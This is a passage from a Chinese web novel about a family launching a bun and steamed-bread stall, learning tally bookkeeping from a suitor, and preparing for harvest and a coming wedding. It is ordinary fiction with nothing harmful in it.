林阿么接过包子，付了八文钱，笑着说了句“先尝尝你们的手艺”，便提着东西走了。 待林阿么走远，舒小圆捧着刚到手的八文钱，笑得见牙不见眼，抬头看着秦氏和舒乔道：“哥哥，娘，咱们开张了！” 秦氏脸上的紧绷终于散去，露出欣慰的笑，“可算是开张了。” 果然如舒乔所料，没过多久，下工的人陆续回来。舒小圆立时亮开嗓子吆喝，“包子馒头——香喷喷的包子馒头咧——下工不想做饭的，快来买些热乎的垫垫肚子！” 赶路的人本是匆匆往家走，被这清脆的吆喝声吸引，又闻到随风飘来的麦香，不少人停下脚步，朝摊子看过来。 舒乔赶紧把剩下的蒸笼都掀开，热气腾腾的香气更浓了，几个人试探着走上前。 “这馒头闻着挺香，给我拿俩。”一个穿短打的汉子探头看了看，又指了指素包，“这包子是啥馅儿的？” “韭菜粉条的，刚出锅的，热乎着呢。”秦氏一边夹起两个馒头递过去，一边回道。 “韭菜的啊？那算了，吃完嘴里味儿大。”那汉子摇摇头，接过馒头，把两文钱递给舒小圆，转身走了。 “韭菜馅的我喜欢，给我来两个。”方大爷背着手踱步上前，目光落在素包上。 “方大爷！”舒小圆笑嘻嘻地说，“您的不用给钱。”娘出门前就叮嘱过，若是舟阿么他们来买，不收钱。平日他们照拂家里，吃几个包子馒头不算什么。 方大爷没接话，等舒小圆把包子递过来，直接从钱袋里摸出四文钱，放在车板上，慢悠悠道：“钱你拿着，就当是给你买糖吃的。” 这时摊子前又围过来几个人，秦氏忙着招呼，也没工夫拉着方大爷推辞，只能看着他优哉游哉地走远了。 随着人流渐多，三人有些手忙脚乱。秦氏夹包子时忘了收钱，舒乔收钱时又被人催着拿馒头，舒小圆更是手忙脚乱地把铜板攥在手里，差点数错。 好在很快调整过来，秦氏专管夹取馒头包子，舒乔负责递包和招呼，舒小圆专心收钱，动作渐渐快了起来。 舒乔看着笼屉一个个变空，心里的石头终于落了地，脸上也现出舒缓的神情。 “哎哟，可算赶上了！小圆，给叔夹几个馒头！”小满她爹跑得气喘吁吁，手里还揣着个空盆，急忙递过来。 “叔，馒头卖完啦，只剩菜包了。”舒小圆笑着回道。 “卖完了？”小满爹一愣，随即笑道，“那也行，给我拿四个菜包，刚好够我们家晚饭吃。” “刚好还剩四个。”秦氏麻利地夹起菜包，放进他的菜盆里。 “今天生意不错啊。”小满爹付了钱，端着盆，笑呵呵地说：“那我先回了，小满还在家催我呢。” 秦氏笑着应了声，等他走后，和舒乔一起收拾摊子。回到家，三人脸上都带着掩不住的喜色，舒小圆更是迫不及待地搬来装钱的木箱，喊道：“娘，哥哥，咱们赶紧数数今天赚了多少钱！” 舒乔放好蒸笼跟进屋，看着妹妹把铜钱哗啦啦倒在炕上。今日试水，只做了三屉馒头、两屉包子，好在全都卖光了。 “一、二、三……二十一、二十二……”舒小圆趴在炕上，一个一个地数着铜板，小手指头点得飞快。没一会儿，她抬起头，眼睛发亮，“一共六十文钱！” 舒乔却皱了皱眉，“六十文？确定吗？” 秦氏见他神色不对，收起笑容问道：“怎么了乔哥儿，数错了？” “出摊前我算过，馒头二十一个，一文一个就是二十一文，素包十八个，两文一个就是三十六文，加起来应该是五十七文才对。怎么多了三文出来？”舒乔掰着手指头算给她们看。 “啊？”舒小圆拿着铜板，一脸茫然，“那我再数一遍！”秦氏也凑过去，和她一起重新数。 “一、二……六十！真的是六十文！”舒小圆数完，三人面面相觑，都有些懵。 舒乔沉吟道：“许是方才人多手乱，我们忙中出了差错，或是客人给多了没注意。” 这话一出，秦氏和舒小圆顿时紧张起来。舒小圆急得抓了抓头发，“那怎么办啊？这多出来的钱，拿着怪烫手的！” “眼下着急也没用，我们也不知是谁多给了。明日出摊时留心问问昨日的客人，兴许能问出来。”舒乔话音刚落，院门就被“咚咚”敲响。他转身道，“我去开门。” “好像是程大哥的声音！”舒小圆放下铜板，跟在舒乔身后跑了出去。 舒乔打开门，程凌果然站在门外。他微微睁大眼睛，有些意外道：“阿凌？你这会儿不是该回了？”说着侧身让他进来。 “我惦记着你这边，还是过来看看。”程凌说着，朝舒小圆摆摆手，示意不用板凳。 昨日乔哥儿同他说了今日出摊的事，他放心不下，忙完菜行的事就赶过来了。 他额上还带着薄汗，粗布衣衫上也洇着些许汗迹，周身散发着一股温热的气息。 程凌目光在舒乔身上停留了片刻，见他虽面带倦色却无大碍，这才稍稍放下心。 “巷口没见着你们，我便猜是收摊了。”他声音比往日低沉些，话是对着大家说，视线却已落回舒乔身上，“一切都还顺利？” “都卖完了。”舒乔轻快道。 舒小圆立刻凑过来，手舞足蹈地比划，“开始一个人都没有，我们站了好久呢。后来下工的人回来，一下子就围满了，包子馒头全卖光啦！就是……账有点对不上，多了三文钱。” 她说着，不好意思地挠挠头。 舒乔把忙乱中账目不清的情况说了，眉头轻蹙道：“得想个记账的法子才好，不然日后怕是要糊涂。” 程凌静默地听完，转身从院角拾起一根细树枝，递向舒乔，语气平稳道：“乔哥儿想得周到，摆摊最忌讳账目不清。那你觉得，用什么法子记，又快又不易出错？” 舒乔接过树枝，随即若有所悟地蹲下身，用树枝在地上划了一道，仰起脸眼神清亮，看向程凌道：“像这样，卖一个，划一笔？” “没错。”程凌顺势蹲在他身旁，接过树枝，手腕沉稳地移动，“我们摆摊有个笨方法，叫‘画正字’。你看，五笔成一个‘正’字，也就是五个包子。” 他边说边在地上画出三栏，“分作馒头、素包、肉包三栏，卖一个就在对应栏里添一笔。收摊时数数有几个‘正’字，便知各卖了多少，哪种好卖。” “譬如今天卖了二十一个馒头，便是四个‘正’字加一笔，清清楚楚。” 舒小圆和秦氏也凑过来看，地上的划痕简洁清楚，程凌讲得条理分明，两人看他时，眼中便多了几分信服。 他没有停手，又在旁边画下两个完整的“正”字示范，随后将树枝递回舒乔手中，沉静地看着他。 舒乔会意，接过树枝，依样画了一个，动作由生疏到流畅。 程凌眼睛随着舒乔执笔的手移动，见他连着画了好几个正字，眼里笑意加深。 程凌站起身，又补充道：“人多忙乱时，还可以在推车上放个敞口筐，让客人自己把钱放入筐中，再取包子馒头。钱不经过二手，回头补上一笔‘正’字，便不易出错。” 他一边说着向仍蹲着的舒乔伸出手。 舒乔看着伸到面前的手掌，略一迟疑，还是轻轻搭了上去，借着对方的力道站起身便松开，耳根却悄悄漫上一抹薄红。 程凌不动声色地收回手，转而向秦氏道：“摆摊开头几日，分量最难拿捏。婶子明日不妨参照今天的量，卖得快的几样多备三成，卖得慢的少备两成，试几天就能摸准脉了。” “我正这么打算呢。”秦氏连连点头，心里更有底了。 舒小圆盯着地上的笔画，抬头问道：“但是我们画在什么上呢？地上一擦就没了。” “木板。”舒乔晃了晃手中的树枝，眸光发亮，说道，“找块光滑的小木板，用炭笔画‘正’字，收摊后对完账擦去，明日还能再用，省事也省钱。” “哥哥好聪明！”舒小圆一把抱住舒乔的腰，亲昵地晃了晃。 舒乔轻轻拍了拍她的手，对上程凌含笑的视线，笑眼也弯了起来，“是阿凌的法子好。” “是啊，真得多谢凌小子，帮我们解了难题。”秦氏由衷说道，对程凌更是满意。 “婶子客气了，不过是摆摊久，摸出些门道罢了。”程凌说着眼神又往一旁的舒乔身上飘。 秦氏在一旁看着并肩而立的两人，嘴角怎么都压不住那抹笑意。 天色渐晚，程凌不便久留。临走时，舒乔快步走进灶屋，给他的水囊重新灌满。 “我听你嗓子都哑了，今天定是累坏了吧。”舒乔站在门边，看他仰头喝了大半，脸上流露出心疼。方才光顾着说摆摊的事，竟没注意到他这般疲惫。 “不碍事。”程凌见他眉眼间满是关切，心口像是被什么轻轻撞了一下，整日的辛劳仿佛都烟消云散。 巷子有人经过，朝这边张望。程凌看了眼天色，知道不能再耽搁，临行前又嘱咐道：“我该回了。乔哥儿，平日别太劳累，绣帕子坐久了记得起身活动活动。” “我记着呢。”舒乔乖顺地点头，唇边的笑意更深了些。 院门轻轻合上，舒小圆从灶屋探出头来，好奇地问：“哥哥，程大哥走啦？” “嗯，回了。”舒乔脸颊微热，怕她瞧出端倪，急忙转身往屋里走，“该做晚饭了。” 舒小圆浑然未觉，依旧蹦蹦跳跳地跟在他身后。 另一边，林阿么家中，一家人正围坐用饭。林阿么的丈夫咬了口馒头，赞不绝口道：“今儿这馒头好吃！有股子粮食的香甜味，夫郎手艺越发好了。” 林阿么睨他一眼，咽下嘴里的馒头道：“哪是我的手艺，这是在巷口舒家摊上买的。我瞧着那馒头色泽匀净，不死白，闻着就有股子麦香，就买了些回来尝尝。” “哪个舒家？”丈夫从饭碗里抬起头，面带疑惑。 “还能有哪个？就斜对门那家。”林阿么夹了口菜，就着馒头咬了一口，“许是你回来得晚，人家早收摊了。” “竟是他家……”他拿起一个素包，咬了一口，韭菜的鲜香混着粉条的滑软在口中散开，“味道确实好！自从老舒走后，我 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秦氏略一思忖，下定决心道：“好！就听乔哥儿的，馒头和包子各加两屉！” “还有还有，”舒小圆搓了搓手，小声道，“明日咱们晚些去吧？今天去得太早，日头晒得人发晕，也没生意。” 秦氏痛快道：“成，明日就按今天收摊的时辰往前推，申时末再把推车推过去，不必太早去受罪。” “好耶！”舒小圆欢呼一声，见秦氏起身要熄灯，赶忙躺回自己的位置。 首日摆摊还算顺利，三人都松了口气，安心地睡了个好觉。 翌日一早，秦氏先去了租推车的姚木匠家，想寻块小木板用来画“正”字。 姚木匠和他媳妇一样爽快，听了来意，从木料堆里挑了块两巴掌大的板子，拿起刨子细细打磨了一番，边缘磨得光滑圆润，递到秦氏手里，“这么块小木板，值不了几个钱，拿着用就是！”说完就转身回屋继续干活了。 秦氏心下感激，想着午后包子出锅，定要送些过来答谢。 临近申时末，舒乔三人推着推车，准时出现在南巷口。昨日买过的客人一见他们来，立刻围了上来。 “秦婶子，今天还卖馒头素包吗？给我拿三个馒头、两个素包！”一个年轻媳妇挤到前头，脸上抹了胭脂的脸红扑扑的，眼里带着几分庆幸，“昨天你这馒头我婆母吃了直说好，都没再念叨我做饭不成！” 这人是拐角那家媳妇，平日灶上的活计总不得章法，不是咸了就是淡了，没少挨婆母数落。 今日她穿着整洁的靛蓝布裙，头发梳得一丝不乱，连簪子都插得端正，脸上带着难得的轻松。昨日那几个馒头，倒是让她得了片刻安宁。 秦氏笑着应道：“有呢，今天还多备了两屉，管够！”她一边说，一边利索地夹起馒头包子，用荷叶包好递过去，目送她步履轻快地离开。 今日他们按程凌教的法子分工，秦氏管馒头，舒乔管素包，舒小圆专门记账收钱。果然顺手许多，再不见昨日的忙乱。 舒乔特意留意昨日的熟客，一一问过，却无人说多付了钱。那多出的三文，终究成了个谜。 舒小圆守着木匣，听着铜钱落入匣中的清脆声响，喜得眉开眼笑。 卖完最后一个包子，她欢快地喊道：“收摊回家咯！” 接连数日，三人准时出摊。舒家包子馒头味美价廉的名声，渐渐在巷子里传开。 那张家媳妇先前还冷嘲热讽，断言舒家撑不过三日。如今见舒家生意稳当，旁人稍夸一句，她就尖着嗓子讥讽，要么说“不过是运气好”，要么暗指“有什么见不得人的勾当”。 大伙嫌她嘴碎心窄，见了面都绕着走，更加不爱搭理她了。 她先前被方大娘当众训斥，落了面子，如今又遭邻里疏远，不反思自己，反倒将一腔怨怼都记在舒家头上，对舒家的嫉恨愈发深了。 可这丝毫影响不到舒家的生意，也碍不着舒乔分毫。 摊子稳定后，便由秦氏带着舒小圆照看，舒乔则留在家中，专心绣他的帕子和嫁衣。 这段时日与各样客人打交道，秦氏也比从前干练了不少，说话做事都透着股利落劲儿，脸上的笑容也多了，整个人精气神十足。 这日傍晚，收摊回家后，秦氏坐在炕边整理晾干的衣物，望着窗外渐渐沉下去的夕阳，感叹道：“近来秋老虎厉害得很，白日里比三伏天还燥，夜里又凉飕飕的。一晃眼，日子过得可真快，眼看就要秋收了。” 她转头看向趴在炕上歇息的舒乔，又问：“乔哥儿，凌小子可同你说过，程家何时开始收庄稼？” 舒乔懒洋洋翻过身，缓声回道：“说了，大后天动镰，得忙活好些天。” 秋收是一年里顶要紧的事。程家只有三口人，要比别家多费些工夫。 “秋收最是累人，一趟忙下来，人都要瘦一圈。”秦氏想起往年收玉米、晒粮食、翻地种麦的辛苦，当真是一沾炕就能睡着。 “不过秋收完，离你成亲的日子也近了。”秦氏停下动作轻叹。 “娘是舍不得我？”舒乔把脸半埋进枕间，声音有些闷。 “可不是？若能留你一辈子，娘也愿意。” 舒乔闻言抬起头，仔细端详她。这些时日的摆摊历练，当真让娘变了不少。若是从前，这般直白的话，她是决计不会说出口的。 “娘，你真好。”舒乔说得恳切，倒让秦氏有些不好意思了。 她手无措地在裤子上蹭了蹭，起身道：“你这孩子，说这些干啥。我去瞧瞧小圆和小临，这两人，刚才还听见在院里闹，这会儿没声了，指不定又在磨蹭什么……”说着便快步朝外走，身形略显匆忙。 舒乔看着她的背影，不由莞尔，伸手揉了揉方才埋过的枕头。 暮色渐浓，晚风穿过门扉，送来些许凉意。 舒乔穿着里衣平躺在炕上，面容宁和，闭眼感受着这舒爽的秋风，喃喃道：“这样便很好。” 家里摆摊后，有了稳定的营收，他便能放心不少。 想到即将到来的婚事，舒乔睁开眼，心里涌上几分忐忑和期待。 成亲那日……会是什么光景？